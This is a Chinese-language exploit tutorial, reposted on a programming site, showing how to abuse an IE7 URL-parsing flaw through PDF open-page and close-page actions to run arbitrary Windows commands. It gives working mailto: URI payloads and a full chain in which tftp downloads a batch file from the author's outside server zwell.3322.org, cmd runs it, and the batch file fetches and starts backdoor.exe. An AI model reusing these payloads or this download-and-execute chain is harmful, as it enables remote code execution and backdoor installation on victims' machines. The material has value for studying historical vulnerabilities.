欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

URL解析漏洞在PDF文档中的利用

程序员文章站 2022-06-28 09:35:09
右键另存再打开测试文档,否则会调用IE的插件打开,测试会失败。如果你硬要通过点击打开的话,点击这里吧,嘿嘿,这本身也是IE的一个解析漏洞。 在http://seclists.org/fulldisc... 08-10-08...
右键另存再打开测试文档,否则会调用ie的插件打开,测试会失败。如果你硬要通过点击打开的话,点击这里吧,嘿嘿,这本身也是ie的一个解析漏洞。

在http://seclists.org/fulldisclosure/2007/oct/0068.html看到这个漏洞的时候,一时还没有想到怎么利用。后来结合去年有一个关于pdf actions安全隐患的这么一个问题(参看http://michaeldaw.org/md-hacks/backdooring-pdf-files/),pdf中的actions中打开页面的事件刚好可以用来利用。

petko petkov之前放出话说pdf的0day应该也就是指的是这个漏洞了。利用这个漏洞首先需要安装ie7,在url解析时遇到百分号(%)会执行后面的程序。放出来的利用方式为:

mailto:test%../../../../windows/system32/calc.exe".cmd
http:%xx../../../../../../../../../../../windows/system32/calc.exe".bat

利用这种url咱们可以执行系统中的任意命令了,但是有一点用处的系统命令都得加参数才能用啊。怎么加入参数呢?反正放在.cmd前就行,但是必须放在引号(")后面,呵呵,其实没的选。经过测试,下面的语句就ok了:

mailto:test%../../../../windows/system32/net.exe" “user”.cmd

要有多个参数的话就的

mailto:test%../../../../windows/system32/xxx.exe" “argv1” ”argv2“.cmd

到这里,基本上大家也就有了利用办法了,网络copy命令,tftp等都行啊。不过得分两步:

1.下载程序
2.执行程序

还有一点要注意的,最好在打开页面事件和关闭页面时间中加入上面两步,以免因为网速问题造成程序执行不成功。

mailto:test%..\..\..\..\windows\system32\tftp.exe" "-i" "zwell.3322.org" "get" "a.bat" "c:\a".cmd
mailto:test%..\..\..\..\windows\system32\cmd.exe" "/c c:\a".cmd

在zwell.3322.org上我搭建了一个tftp服务器,里面放有一个a.cmd,内容就是再去下载执行一个程序。
在pdf打开首页时执行第一条指令,下载服务器上的a.bat,保存为a.cmd(为什么是cmd,大家可以思考一下)。
在离开该页面时,再执行已经下载的a.cmd,其实他是个bat文件,内容是:

cmd /c tftp -i zwell.3322.org get backdoor.exe c:\b.exe
start c:\b.exe

好了,现在下载了backdoor.exe程序(这只是一个notepad程序,我重命名了)并且执行了。gameover。